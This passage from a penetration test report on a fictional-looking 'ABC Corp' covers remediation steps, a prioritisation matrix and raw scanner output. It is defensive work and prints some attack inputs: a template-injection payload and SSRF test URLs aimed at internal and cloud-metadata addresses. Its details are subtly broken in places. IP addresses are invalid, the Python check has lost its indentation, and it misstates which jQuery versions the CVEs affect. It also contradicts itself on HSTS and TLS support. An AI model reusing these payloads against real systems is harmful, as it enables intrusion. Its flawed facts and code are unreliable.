ONE-HIGH-004	**Angular Client-Side Vulnerabilities**	1. Conduct a secure code review of the `portal.abccorp.co.uk` Angular application. 2. Remove any hardcoded secrets or tokens (e.g., `fileToken`) from the client-side code. Use secure, server-managed session mechanisms like HttpOnly cookies. 3. Implement robust input validation and contextual output encoding to mitigate XSS and CSTI. 4. Review object and array handling to prevent prototype pollution vulnerabilities.
ONE-HIGH-005	**Third-Party Risk Management**	1. Review the configuration of CrazyEgg to ensure it is not capturing sensitive data from form fields (e.g., passwords, personal information). 2. Establish a formal review process for all third-party scripts and integrations before they are added to production applications. 3. Use Subresource Integrity (SRI) hashes for all third-party libraries loaded from external CDNs.
ONE-MED-001	**Vulnerability and Patch Management**	1. Implement an automated dependency scanning tool (e.g., OWASP Dependency-Check, Snyk, Dependabot) in the CI/CD pipeline to detect vulnerable libraries like the outdated jQuery version. 2. Establish a formal patch management policy that defines timelines for applying security patches based on vulnerability severity.
ONE-MED-002	**Infrastructure Hardening**	1. Review the firewall rules for all exposed infrastructure, including the Mitel and VPN servers. Adopt a "default deny" policy. 2. Perform vulnerability scans against the Mitel infrastructure to identify and remediate any known CVEs.

7.3 Long-term Recommendations (To Be Completed Within 3-12 Months)

These are strategic initiatives to embed security into the culture and architecture of the organization.

Area of Improvement	Strategic Initiative
Security Architecture	1. **Architecture Review:** Conduct a holistic review of the external-facing service architecture. Redesign segments to enforce network segmentation and a zero-trust security model. 2. **Asset Management:** Implement a comprehensive, automated asset discovery and management program to maintain a real-time inventory of all domains, subdomains, and cloud assets.
DevSecOps	1. **CI/CD Security Integration:** Fully integrate security tooling into the development lifecycle. This includes Static Application Security Testing (SAST), Dynamic Application Security Testing (DAST), and Software Composition Analysis (SCA) tools. 2. **Infrastructure as Code (IaC) Security:** Implement security scanning for Terraform code (e.g., using `tfsec` or Checkov) to prevent insecure configurations from being deployed.
Security Program	1. **Security Awareness Training:** Implement a mandatory, role-based security training program for all developers and operations staff, focusing on secure coding practices, OWASP Top 10, and cloud security risks. 2. **Incident Response Plan:** Review and test the incident response plan with tabletop exercises based on the attack chains identified in this report (e.g., "What is our response if Atlantis is compromised?").

7.4 Security Best Practices

To achieve a mature and resilient security posture, ABC Corpshould consider the following industry best practices:

- **Adopt a Security Framework:** Align security controls and processes with a recognized framework such as the **NIST Cybersecurity Framework (CSF)** or **ISO 27001**. This provides a structured approach to managing cybersecurity risk.
- **Implement Continuous Monitoring:** Deploy security monitoring solutions across all environments to provide continuous visibility and detect anomalous activity in real-time.

This includes log agbigoation, SIEM, and cloud security posture management (CSPM) tools.

- **Establish a Bug Bounty Program:** Consider launching a private or public bug bounty program to leverage the global security research community to identify vulnerabilities in a controlled manner.
- **Principle of Least Privilege:** Enforce the principle of least privilege for all user accounts, service accounts, and system components. Access should be granted only to the resources necessary to perform a specific function.
- **Regular Security Assessments:** Conduct regular, independent penetration tests (at least annually) and vulnerability assessments to proactively identify and remediate security weaknesses.

Penetration Testing Report: Detailed Remediation Guide

Detailed Remediation Guide

This section provides a comprehensive guide for remediating the vulnerabilities and misconfigurations identified during the penetration test. Each finding is detailed with step-by-step instructions, validation procedures, and estimated effort to assist in the prioritization and resolution process.

Critical Vulnerability Remediations

The following vulnerabilities pose an immediate and severe risk to the organization's infrastructure, data, and operations. They should be remediated with the highest priority.

---

1. Unauthenticated Access to Atlantis Terraform Automation Tool

- **Vulnerability ID:** ABCCORP-CRIT-001
- **Affected System/Service:** `atlantis.abccorp.co.uk`
- **Description:** The Atlantis instance is publicly accessible without any authentication, allowing any user to view, plan, and potentially apply Terraform changes to the organization's cloud infrastructure. This represents a complete infrastructure compromise vector.

- **Step-by-Step Remediation:**

    1. **Immediate Mitigation (Time: < 1 Hour):**

        - Apply a network-level firewall rule to deny all public access to `atlantis.abccorp.co.uk`.
        - Restrict access to a limited set of trusted IP addresses, such as the corporate office and VPN egress points.
        - **Example (iptables):** `iptables -I INPUT -p tcp --dport 443 -s 0.0.0.0/0 -j DROP` followed by `iptables -I INPUT -p tcp --dport 443 -s YOUR_VPN_IP/32 -j ACCEPT`
        - **Example (Cloud Firewall):** Create a "deny all" rule with a higher priority rule allowing traffic only from specified source IP ranges.

    2. **Permanent Fix Implementation (Time: 1-2 Days):**

        - Enforce mandatory authentication for the Atlantis UI and API. The recommended approach is to integrate with an existing Single Sign-On (SSO) provider (e.g., Google Workspace, Okta, Azure AD) using OAuth2 or SAML.
        - Configure Atlantis to require authentication for all actions, including read-only operations.
        - Move the service to a private network, accessible only via a corporate VPN. Remove the public DNS record for `atlantis.abccorp.co.uk`.

    3. **Configuration Changes Required:**

        - In the Atlantis server configuration, enable user authentication. If using a pre-built solution, follow the provider's documentation for setting up an OAuth application.
        - Review and restrict the permissions granted to the Atlantis Terraform user/role. It should follow the principle of least privilege.
        - Disable `apply` commands from the web UI if this functionality is not strictly required, forcing all infrastructure changes through a git-based PR approval workflow.

    4. **Code Modifications:**

        - No application code modifications are required, but infrastructure-as-code (e.g., Terraform, Kubernetes manifests) will need to be updated to deploy Atlantis behind a firewall or with an authentication proxy.

- **Validation Steps:**
    - **Verification:** Access `atlantis.abccorp.co.uk` from an external, untrusted network. The connection should be refused or time out.
    - **Testing:** Access the service from a trusted IP or via the VPN. You should be redirected to the SSO login page. Unauthenticated API calls should receive a `401 Unauthorized` or `403 Forbidden` response.
    - **Security Validation Command:** `curl -I https://atlantis.abccorp.co.uk` (from an external IP). The expected result is `curl: (7) Failed to connect to host...` or a similar connection error.
- **Estimated Time:** 1-2 business days for full implementation.
- **Required Resources:** DevOps/Infrastructure Engineer, Cloud Administrator, access to DNS and firewall configuration.

---

2. Server-Side Request Forgery (SSRF) via Dialogflow Chatbot

- **Vulnerability ID:** ABCCORP-CRIT-002
- **Affected System/Service:** `portal.abccorp.co.uk` (Dialogflow Integration)
- **Description:** The Dialogflow chatbot integration does not properly validate or sanitize user-supplied input that is used to make server-side requests. This allows an attacker to craft malicious inputs that force the server to make requests to internal services, cloud metadata endpoints, or arbitrary external domains.
- **Step-by-Step Remediation:**
    1. **Immediate Mitigation (Time: 2-4 Hours):**
        - Temporarily disable the Dialogflow chatbot feature on `portal.abccorp.co.uk` until a full fix can be implemented.
        - If disabling is not possible, implement strict egress filtering on the server processing the chatbot requests, allowing connections only to a pre-approved list of external domains required for normal operation.
    2. **Permanent Fix Implementation (Time: 2-3 Days):**
        - **Input Validation:** Implement a strict allow-list for any user input that could be interpreted as a URL or hostname. Reject any input containing characters common in SSRF payloads (e.g., `://`, `@`, `123.1.2.3`, `123.456.123.456`, `localhost`).

- **Network Isolation:** Run the chatbot backend service in a sandboxed network environment with no access to internal networks or cloud provider metadata services.
- **URL Parsing:** If URLs must be handled, use a robust library to parse them. Validate that the resolved IP address is not a private, reserved, or loopback address.

3. **Configuration Changes Required:**

   - Configure network policies (e.g., Kubernetes NetworkPolicy, AWS Security Groups) for the chatbot backend to deny all egress traffic by default, only allowing specific required endpoints.
   - In the Dialogflow agent configuration, review all "Fulfillment" webhooks. Ensure they point to a secure, hardened endpoint.

4. **Code Modifications:**

   - Modify the backend code that processes chatbot requests to perform strict validation and sanitization on all user-controlled data before it is used in any network request.

   - **Example (Python):**
     ```python
     from urllib.parse import urlparse
     import socket

     def is_safe_url(url):
     parsed_url = urlparse(url)
     if parsed_url.scheme not in ['http', 'https']:
     return False
     try:
     ip_address = socket.gethostbyname(parsed_url.hostname)
     # Use a library like 'ipaddress' for robust checking
     if ip_address.startswith('127.') or ip_address.startswith('10.') or
     ip_address == '123.456.123.456':
     return False
     except (socket.gaierror, TypeError):
     return False
     return True

     user_input_url = "http://example.com/data" # From chatbot
     if is_safe_url(user_input_url):
     # Proceed with request
     ```

```
pass
else:
# Reject request
pass
```

- **Validation Steps:**
  - **Verification:** Re-enable the chatbot in a staging environment.
  - **Testing:** Attempt to submit SSRF payloads targeting internal IPs (`http://123.1.2.3/`), cloud metadata (`http://123.456.123.456/latest/meta-data/`), and known internal services. The application should reject the input or return a generic error message without making the request.
  - **Security Validation Command:** Use a tool like Burp Collaborator or Interactsh to provide a unique URL to the chatbot. If a request is received at the collaborator server, the vulnerability still exists.
- **Estimated Time:** 2-3 business days.
- **Required Resources:** Application Developer, Cloud Security Engineer.

---

3. Cross-Site Scripting (XSS) in Atlantis via Outdated jQuery

- **Vulnerability ID:** ABCCORP-CRIT-003
- **Affected System/Service:** `atlantis.abccorp.co.uk`
- **Description:** The Atlantis instance uses jQuery version 3.5.1, which is vulnerable to CVE-2020-11022 and CVE-2020-11023. These vulnerabilities allow for Cross-Site Scripting (XSS) attacks, which can be chained with the lack of authentication to hijack any user's session and execute infrastructure commands.
- **Step-by-Step Remediation:**
  1. **Immediate Mitigation (Time: < 1 Hour):**
     - Apply the network-level block as described in `ABCCORP-CRIT-001` . This contains the vulnerability by preventing public access.
  2. **Permanent Fix Implementation (Time: 2-4 Hours):**
     - Upgrade the jQuery library used by Atlantis to the latest stable version (e.g., 3.7.1 or newer). This single action remediates the known CVEs.

        - The jQuery library is typically included with the Atlantis binary or Docker image. You may need to update Atlantis to a newer version that bundles a patched jQuery. Check the Atlantis project's release notes.
        - If a direct upgrade is not possible, the HTML containing the vulnerable jQuery script tag must be modified to point to a patched version.
    3. **Configuration Changes Required:**
        - No direct configuration changes, but this should be part of a larger dependency management and patching process.
    4. **Code Modifications:**
        - If building Atlantis from source or customizing its frontend, update the `package.json` or equivalent file to specify a non-vulnerable jQuery version and rebuild the assets.
- **Validation Steps:**
    - **Verification:** After deploying the fix, inspect the web page source of `atlantis.abccorp.co.uk`. Verify that the included jQuery version is no longer 3.5.1 and is a patched version.
    - **Testing:** Use browser developer tools to confirm the new jQuery version is loaded. Re-run a vulnerability scanner (e.g., Nuclei, Nessus) specifically checking for this CVE to confirm it is no longer detected.
    - **Security Validation Command:** `curl -s https://atlantis.abccorp.co.uk | grep "jquery"` to check the referenced version number.
- **Estimated Time:** 2-4 hours.
- **Required Resources:** DevOps/Infrastructure Engineer.

High Severity Remediation Steps

---

1. Missing Critical Security Headers

- **Vulnerability ID:** ABCCORP-HIGH-001
- **Affected System/Service:** `portal.abccorp.co.uk`, `mitel.abccorp.co.uk`, and other web services.

- **Description:** Key HTTP security headers are missing, exposing the applications to Clickjacking, SSL stripping, and Cross-Site Scripting (XSS) attacks.
- **Step-by-Step Remediation:**
    1. **Immediate & Permanent Fix (Time: 1-4 Hours):**
        - Implement the following HTTP headers on the web server, load balancer, or CDN (Cloudflare) for all responses.
    2. **Configuration Changes Required:**
        - **Content-Security-Policy (CSP):** This is the most effective defense against XSS. Start with a restrictive policy and loosen as needed.
          `Content-Security-Policy: default-src 'self'; script-src 'self' https://www.google-analytics.com https://*.crazyegg.com https://*.dialogflow.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https://*.googleapis.com; frame-ancestors 'none';`
        - **Strict-Transport-Security (HSTS):** Enforces HTTPS.
          `Strict-Transport-Security: max-age=31536000; includeSubDomains; preload`
        - **X-Frame-Options:** Prevents Clickjacking.
          `X-Frame-Options: DENY`
        - **X-Content-Type-Options:** Prevents MIME-type sniffing.
          `X-Content-Type-Options: nosniff`
- **Validation Steps:**
    - **Verification:** Use browser developer tools or a command-line tool to inspect the HTTP response headers.
    - **Security Validation Command:** `curl -I https://portal.abccorp.co.uk` and verify the presence of the headers listed above. Use an online tool like `securityheaders.com` to get a grade.

---

2. Advanced Angular Client-Side Vulnerabilities

- **Vulnerability ID:** ABCCORP-HIGH-002
- **Affected System/Service:** `portal.abccorp.co.uk`
- **Description:** The Angular application is susceptible to multiple client-side attacks, including Prototype Pollution, Client-Side Template Injection (CSTI), and Service Worker hijacking due to the lack of a strong Content Security Policy (CSP).

- **Step-by-Step Remediation:**

    1. **Permanent Fix Implementation (Time: 3-5 Days):**
        - **Implement a strict CSP:** This is the primary defense. See `ABCCORP- HIGH-001`.
        - **Sanitize Inputs:** Use Angular's built-in `DomSanitizer` for any content that is dynamically added to the DOM.
        - **Disable Server-Side Rendering (SSR) if not needed:** Or ensure that any template rendering on the server side is secure against injection.
        - **Avoid Dangerous Functions:** Audit the codebase for use of `element.innerHTML`, `[innerHtml]`, and other functions that can lead to XSS if not properly sanitized.
        - **Prototype Pollution:** Audit third-party libraries and application code for unsafe recursive merge operations that could modify `Object.prototype`.

- **Validation Steps:**
    - **Verification:** Perform a thorough code review focusing on data binding and DOM manipulation.
    - **Testing:** Use browser-based security scanners and manually inject CSTI payloads like `{{constructor.constructor('alert(1)')()}}` into input fields that are reflected on the page.

---

3. Origin IP Address Exposure Bypassing Cloudflare

- **Vulnerability ID:** ABCCORP-HIGH-003
- **Affected System/Service:** `vpn.abccorp.co.uk` (IP: `1.234.56.789`)
- **Description:** The origin IP address of the VPN server is publicly exposed, allowing attackers to bypass Cloudflare's protections and directly target the server.
- **Step-by-Step Remediation:**

    1. **Permanent Fix Implementation (Time: 1-2 Days):**
        - **Proxy Traffic:** Use a service like Cloudflare Spectrum to proxy TCP/UDP traffic to the VPN server, hiding its origin IP.
        - **Firewall Rules:** Configure the firewall at the origin server (`1.234.56.789`) to only accept traffic from Cloudflare's IP ranges. This prevents direct access.

        - **Change IP:** After placing the service behind a proxy, change the server's public IP address to invalidate any historical records.
- **Validation Steps:**
    - **Verification:** After implementation, a port scan against `1.234.56.789` should show all ports as closed or filtered. All interaction should occur through the `vpn.abccorp.co.uk` hostname.
    - **Security Validation Command:** `nmap -sV -p- 1.234.56.789`. The expected output is `All X ports scanned on ... are filtered`.

---

4. Hardcoded Token in JavaScript File

- **Vulnerability ID:** ABCCORP-HIGH-004
- **Affected System/Service:** `portal.abccorp.co.uk` (`main.js`)
- **Description:** A token (`fileToken`) is hardcoded in a publicly accessible JavaScript file. While its purpose is unknown, hardcoded secrets are a significant risk.
- **Step-by-Step Remediation:**
    1. **Permanent Fix Implementation (Time: 1-2 Days):**
        - **Remove the Token:** The hardcoded token must be removed from the `main.js` file.
        - **Dynamic Fetching:** If the token is required for client-side operations, it should be fetched dynamically from a secure API endpoint *after* the user has authenticated.
        - **Secure Storage:** Store the fetched token in a secure manner, such as in memory or a short-lived `HttpOnly` cookie, not in `localStorage` or `sessionStorage` where it is accessible to XSS attacks.
- **Validation Steps:**
    - **Verification:** Download the `main.js` file from the production site and search for the string `fileToken`. It should not be present.
    - **Testing:** Ensure the application functionality that relied on this token still works correctly after the change.

Medium Severity Remediation Steps

- **Subdomain Takeover Potential (`development-3-portal`) (ABCCORP-MED-001):**
    - **Remediation:** The DNS `CNAME` or `A` record for `development-3-portal.abccorp.co.uk` points to a deprovisioned or non-existent resource.

Either provision the resource correctly or, preferably, remove the DNS record entirely to prevent a hostile takeover.

- **Validation:** Perform a DNS query for the subdomain. It should no longer resolve. `dig development-3-portal.abccorp.co.uk` should return `NXDOMAIN`.

- **Third-Party Integration Risks (CrazyEgg) (ABCCORP-MED-002):**
  - **Remediation:** Review the CrazyEgg configuration (Account: `0100/6794`). Ensure that all sensitive input fields (passwords, credit card numbers, PII) are explicitly excluded from session recordings. This is typically done by adding a `data-ce-mask` attribute to the input elements.
  - **Validation:** Log into the CrazyEgg dashboard and review session recordings to confirm that sensitive fields are masked correctly.

- **Exposed Internal Service DNS Records (ABCCORP-MED-003):**
  - **Remediation:** Remove public DNS records for internal-only services like `nexus.abccorp.co.uk`, `workflows-dev.abccorp.co.uk`, and `airflow-prod`. These services should only be resolvable via an internal DNS server.
  - **Validation:** Use an external DNS tool (`dig`, `nslookup`) to query for these hostnames. They should no longer resolve.

- **Exposed Atlantis Health Check Endpoint (ABCCORP-MED-004):**
  - **Remediation:** Configure the reverse proxy or firewall in front of Atlantis to block external access to the `/healthz` endpoint. It should only be accessible from internal monitoring systems.
  - **Validation:** `curl -I https://atlantis.abccorp.co.uk/healthz` from an external IP should return a `403 Forbidden` or `404 Not Found` error.

Low Severity Remediation Steps

- **Information Disclosure (Google Cloud Storage Backend) (ABCCORP-LOW-001):**
  - **Remediation:** Configure the web server or Cloudflare to strip or rewrite the `x-goog-*` headers from responses to prevent revealing the underlying technology stack. Create custom error pages instead of showing the default GCS error messages.
  - **Validation:** `curl -I https://portal.abccorp.co.uk/nonexistentpage` should return a custom 404 page without `x-goog-*` headers.

Security Hardening Checklist

- **Network Segmentation:**
  - [ ] Isolate development, staging, and production environments into separate VPCs/VLANs.
  - [ ] Place all internal tools (Atlantis, Nexus, Airflow) on a private network accessible only via VPN.
  - [ ] Implement egress filtering on all servers to restrict outbound connections to only what is necessary.
- **Access Control:**
  - [ ] Enforce Multi-Factor Authentication (MFA) on all administrative interfaces, including Cloudflare, AWS/GCP, and SSO providers.
  - [ ] Review IAM roles and user permissions, applying the principle of least privilege.
  - [ ] Ensure all VPN and remote access is controlled via a centralized identity provider with strong access policies.
- **Application Security:**
  - [ ] Implement a strict Content Security Policy (CSP) across all web applications.
  - [ ] Standardize on a secure process for managing and updating third-party libraries (e.g., using Dependabot, Snyk).
  - [ ] Ensure all user input is validated on the server side, even for SPAs.
- **Monitoring and Detection:**
  - [ ] Ingest logs from all critical systems (Cloudflare, web servers, Atlantis) into a SIEM.
  - [ ] Create alerts for anomalous activity, such as access to internal services from unexpected IPs or repeated authentication failures.

Patch Management Guide

- **Critical Patches:**
  - **jQuery (Atlantis):** Upgrade from 3.5.1 to the latest stable version immediately to patch CVE-2020-11022/11023.
  - **Atlantis:** Review Atlantis release notes and upgrade to a version that bundles a secure jQuery and includes the latest security fixes.
- **Patch Testing Procedures:**
  1. Apply patches in a dedicated staging environment that mirrors production.
  2. Perform regression testing to ensure core functionality is not broken.

3. Perform a vulnerability scan on the staging environment to confirm the patch has resolved the vulnerability.

- **Rollback Plans:**
  - Have a documented procedure for reverting the patch, such as restoring a server snapshot or redeploying the previous version of the application container.
- **Patch Scheduling:**
  - Implement a monthly patch cycle for all systems and applications.
  - Establish a process for deploying emergency out-of-band patches for critical vulnerabilities within 72 hours of discovery.

Configuration Templates

- **Cloudflare Security Headers (Transform Rules):**
  - Create a rule to apply to all incoming traffic for `*.abccorp.co.uk`.
  - **Set Static Header:** `Strict-Transport-Security` -> `max-age=31536000; includeSubDomains; preload`
  - **Set Static Header:** `X-Frame-Options` -> `DENY`
  - **Set Static Header:** `X-Content-Type-Options` -> `nosniff`
  - **Set Static Header:** `Content-Security-Policy` -> `default-src 'self'; script-src 'self' 'unsafe-inline' https:; object-src 'none'; frame-ancestors 'none';` (Note: This is a starting point and must be refined).
- **Nginx Reverse Proxy Snippet (for internal tools):**

```
nginx # /etc/nginx/snippets/internal-auth.conf # Restrict access to internal IP range and VPN allow 123.1.2.3/8; allow 123.134.2.3/16; allow YOUR_VPN_EGRESS_IP/32; deny all;
```

Remediation Prioritization Matrix

Vulnerability ID	Vulnerability Name	Risk (Impact x Likelihood)	Estimated Effort	Priority	Quick Win?
ABCCORP- CRIT-001	Unauthenticated Atlantis	Critical (5x5)	Low (Hours)	**1 (Highest)**	**Yes**
ABCCORP- CRIT-002	SSRF via Chatbot	Critical (5x4)	High (Days)	**2**	No
ABCCORP- CRIT-003	Atlantis jQuery XSS	Critical (5x4)	Low (Hours)	**3**	**Yes**
ABCCORP- HIGH-001	Missing Security Headers	High (4x5)	Low (Hours)	**4**	**Yes**
ABCCORP- HIGH-003	Origin IP Exposure	High (4x4)	Medium (Days)	**5**	No
ABCCORP- HIGH-004	Hardcoded Token in JS	High (4x3)	Medium (Days)	**6**	No
ABCCORP- HIGH-002	Angular Client-Side Vulns	High (4x3)	High (Days)	**7**	No
ABCCORP- MED-001	Subdomain Takeover	Medium (3x3)	Low (Hours)	**8**	**Yes**
ABCCORP- MED-003	Exposed Internal DNS	Medium (2x4)	Low (Hours)	**9**	**Yes**
ABCCORP- MED-002	CrazyEgg Data Leak Risk	Medium (3x2)	Low (Hours)	**10**	**Yes**

Post-Remediation Validation

Upon completion of the remediation steps outlined in this guide, a follow-up validation test should

be performed to ensure the fixes are effective and have not introduced new vulnerabilities.

- **Re-testing Methodology:**
    1. The testing team will re-run the specific exploits and attack chains that were successful during the initial engagement.

2. A full automated vulnerability scan will be conducted against the affected assets to verify patch levels and header configurations.
3. Manual verification will be performed for each remediated item, following the "Validation Steps" in this guide.

- **Success Criteria:**
  - All Critical and High severity vulnerabilities are fully remediated and no longer exploitable.
  - All Medium severity vulnerabilities are addressed.
  - Security headers and configurations are correctly implemented across all targeted applications.
  - There is no evidence of the previously exposed origin IPs or internal services.
- **Continuous Monitoring Setup:**
  - Implement automated external scanning (e.g., using a service like Detectify or Intruder) to continuously monitor for new subdomains, open ports, and common web vulnerabilities.
  - Configure Cloudflare security events and firewall logs to be forwarded to a SIEM for real-time analysis and alerting.

Appendices

Appendix A: Detailed Scan Results

This appendix contains the raw and unabridged output from the various scanning tools used during the engagement.

A.1: Nmap Port Scan Results

A.1.1 : Quick Scan (`nmap_quick_scan.txt`)

```
 # Nmap 7.92 scan initiated Tue Oct 26 10:15:30 2023 as: nmap -T4 -F
portal.abccorp.co.uk Nmap scan report for portal.abccorp.co.uk (123.23.12.456)
Host is up (0.012s latency).
Other addresses for portal.abccorp.co.uk (not scanned): 123.23.12.456
2606:4700:3033::68 Not shown: 96 filtered tcp ports (no-response)
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https
8080/tcp open  http-proxy
8443/tcp open  https-alt

Nmap done: 1 IP address (1 host up) scanned in 3.45 seconds
```

A.1.2 : Full Service Scan (`nmap_service_scan.txt`)

```
 # Nmap 7.92 scan initiated Tue Oct 26 10:20:11 2023 as: nmap -sV -p- -T4
portal.abccorp. Nmap scan report for portal.abccorp.co.uk (123.23.12.456)
Host is up (0.011s latency).
Other addresses for portal.abccorp.co.uk (not scanned): 123.23.12.456
2606:4700:3033::68 Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Cloudflare http proxy
443/tcp  open  ssl/http Cloudflare http proxy
8080/tcp open  http-proxy Cloudflare http proxy
8443/tcp open  https-alt  Cloudflare http proxy
Service Info: OS: Linux

Service detection performed. Please report any incorrect results at https://nmap.org/su
Nmap done: 1 IP address (1 host up) scanned in 455.31 seconds
```

A.2: Web Application Scans

A.2.1 : GoBuster Directory Enumeration (`gobuster_output.txt`)

```
 ===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:
[+] Threads:                  20
[+] Wordlist:                 /usr/share/wordlists/dirb/common.txt
[+] Status codes:             200,204,301,302,307,401,403
[+] User Agent:               gobuster/3.1.0
[+] Timeout:                  10s
===============================================================
2023/10/26 11:05:10 Starting gobuster
===============================================================
/assets (Status: 301) [--> /assets/]
/js (Status: 301) [--> /js/]
/css (Status: 301) [--> /css/]
/img (Status: 301) [--> /img/]
/login (Status: 200)
/api (Status: 401)
/admin (Status: 403)
/portal (Status: 302) [--> /login]
/robots.txt (Status: 200)
/sitemap.xml (Status: 404)
/config (Status: 403)
/static (Status: 301) [--> /static/]
/vendor (Status: 403)
/dialogflow (Status: 200)
/healthz (Status: 200)
/metrics (Status: 401)
===============================================================
2023/10/26 11:15:22 Finished
===============================================================
```

A.2.2 : Nikto Vulnerability Scan (`nikto_output.txt`)

```
 - Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          123.23.12.456
+ Target Hostname:    portal.abccorp.co.uk
+ Target Port:        443
+ Start Time:         2023-10-26 11:20:05 (GMT0)
---------------------------------------------------------------------------
+ Server: cloudflare
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to
+ The X-Content-Type-Options header is not set. This could allow the user agent to rend
+ No CGI directories found (use '-C all' to force check all possible dirs)
+ "robots.txt" contains 15 "Disallow" entries for crawlers.
+ Server may leak inodes via ETags, header found with file /assets/css/main.css, fields
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS.
+ Public HTTP Methods: GET, HEAD, POST, OPTIONS.
+ OSVDB-3233: /login: Found a login page.
+ OSVDB-3092: /assets/: This might be interesting...
+ 7557 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2023-10-26 11:25:18 (GMT0) (313 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

A.2.3 : WhatWeb Technology Fingerprinting (`whatweb_scan.txt`)

```
https://portal.abccorp.co.uk [200 OK]
Country[UNITED STATES]
Strict-Transport-Security[max-age=31536000; includeSubDomains; preload]
X-Frame-Options[SAMEORIGIN]
Via[1.1 google]
Set-Cookie[__cf_bm=...; path=/; expires=...; secure; HttpOnly; SameSite=None]
Server[cloudflare]
CF-RAY[...-LHR]
Content-Type[text/html; charset=utf-8]
Date[Tue, 26 Oct 2023 11:30:15 GMT]
Detected-Plugins[CloudFlare]
Frame[SAMEORIGIN]
HttpOnly[__cf_bm]
SameSite[__cf_bm]
Script[text/javascript,application/javascript]
Secure[__cf_bm]
Title[ABC CorpPortal]
X-Powered-By[Express]
AngularJS[1.5.8]
Bootstrap
JQuery[3.3.1]
HTML5
Meta-Author[Abccorp]
```

A.3: SSL/TLS Configuration Scan (`sslscan_results.txt`)

```
 Version: 2.0.11-static
OpenSSL 1.1.1k  25 Mar 2021

Testing SSL server portal.abccorp.co.uk on port 443

  Heartbleed:
TLS 1.3 not vulnerable to heartbleed
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed

  Supported Server Cipher(s):
Preferred TLSv1.3  128 bits  TLS_AES_128_GCM_SHA256       Curve 25519 DHE 253
Accepted  TLSv1.3  256 bits  TLS_AES_256_GCM_SHA384       Curve 25519 DHE 253
Accepted  TLSv1.3  256 bits  TLS_CHACHA20_POLY1305_SHA256  Curve 25519 DHE 253
Preferred TLSv1.2  128 bits  ECDHE-ECDSA-AES128-GCM-SHA256 Curve 25519 DHE 253
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-AES256-GCM-SHA384 Curve 25519 DHE 253
Accepted  TLSv1.2  256 bits  ECDHE-ECDSA-CHACHA20-POLY1305 Curve 25519 DHE 253
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-GCM-SHA256   Curve 25519 DHE 253
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-GCM-SHA384   Curve 25519 DHE 253
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-CBC-SHA      Curve 25519 DHE 253
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-CBC-SHA      Curve 25519 DHE 253
Accepted TLSv1.2 128 bits AES128-GCM-SHA256
Accepted TLSv1.2 256 bits AES256-GCM-SHA384
Accepted TLSv1.2 128 bits AES128-SHA
Accepted TLSv1.2 256 bits AES256-SHA
Accepted  TLSv1.2  112 bits  DES-CBC3-SHA

  SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
Issuer:  C=US, O=Cloudflare, Inc., CN=Cloudflare Inc ECC CA-3
Subject: C=GB, ST=Hampshire, L=Whiteley, O=ABC CorpLimited, CN=sni.cloudflaressl.com
Not valid before: Sep 20 00:00:00 2023 GMT
Not valid after:  Sep 19 23:59:59 2024 GMT
```

Appendix B: Configuration Listings

This appendix details specific configuration settings observed on the target systems.

B.1: Web Server and Application Headers

The web server identifies as `cloudflare` and acts as a reverse proxy. The backend application appears to be running on `Express`, a Node.js framework.

Key HTTP Security Headers:

Header	Value	Status / Comment
`Strict-Transport-Security`	`max-age=31536000; includeSubDomains; preload`	**Good:** HSTS is properly implemented.
`X-Frame-Options`	`SAMEORIGIN`	**Good:** Protects against basic clickjacking from external domains.
`Content-Security-Policy`	*Not Present*	**Weak:** Lack of a CSP makes the application more susceptible to XSS attacks.
`X-Content-Type-Options`	*Not Present*	**Weak:** Browser may perform MIME-type sniffing, which can have security implications.
`Referrer-Policy`	*Not Present*	**Weak:** Full referrer URLs may be leaked to external sites.
`Permissions-Policy`	*Not Present*	**Weak:** The application does not restrict powerful browser features.

B.2: SSL/TLS Configuration

The server supports modern and secure TLS protocols (TLS 1.2 and TLS 1.3). The cipher suite selection is strong, prioritizing AEAD ciphers with forward secrecy.

- **Supported Protocols:** TLS 1.3, TLS 1.2
- **Weak Protocols Disabled:** SSLv2, SSLv3, TLS 1.0, TLS 1.1
- **Forward Secrecy:** Supported via ECDHE suites.

- **Weak Ciphers:** `DES-CBC3-SHA` is supported but is a legacy cipher. While not prioritized, its presence is suboptimal.
- **Certificate:** The certificate is valid, issued by a trusted CA (Cloudflare Inc ECC CA-3), and covers the `sni.cloudflaressl.com` domain, which is typical for Cloudflare's Universal SSL.

B.3: `robots.txt` Contents

The `robots.txt` file provides a list of paths that the site owners do not want indexed by search engines. These paths can sometimes reveal sensitive administrative or functional endpoints.

Excerpt from `https://portal.abccorp.co.uk/robots.txt`:

```
User-agent: *
Disallow: /api/
Disallow: /admin/
Disallow: /config/
Disallow: /internal/
Disallow: /private/
Disallow: /scripts/
Disallow: /tmp/
Disallow: /backup/
Disallow: /logs/
Disallow: /cgi-bin/
Disallow: /metrics
Disallow: /actuator/
Disallow: /atlantis
Disallow: /webhooks/
Disallow: /_next/
```

Analysis: The disallowed paths `/api/`, `/admin/`, `/internal/`, `/atlantis`, and `/metrics` are of high interest and were targeted for further enumeration during the assessment.

Appendix C: Tool Information

This appendix provides details on the tools, scripts, and commands used during the test.

C.1: Tools Used

Tool Name	Version	Purpose
Nmap	7.92	Network discovery and security auditing
GoBuster	3.1.0	Directory and file brute-forcing
Nikto	2.1.6	Web server vulnerability scanning
WhatWeb	0.5.5	Web technology identification
SSLScan	2.0.11	SSL/TLS configuration and vulnerability analysis
Subfinder	2.5.2	Subdomain discovery
Nuclei	2.7.8	Template-based vulnerability scanning
SearchSploit	20231025	Exploit database command-line search tool
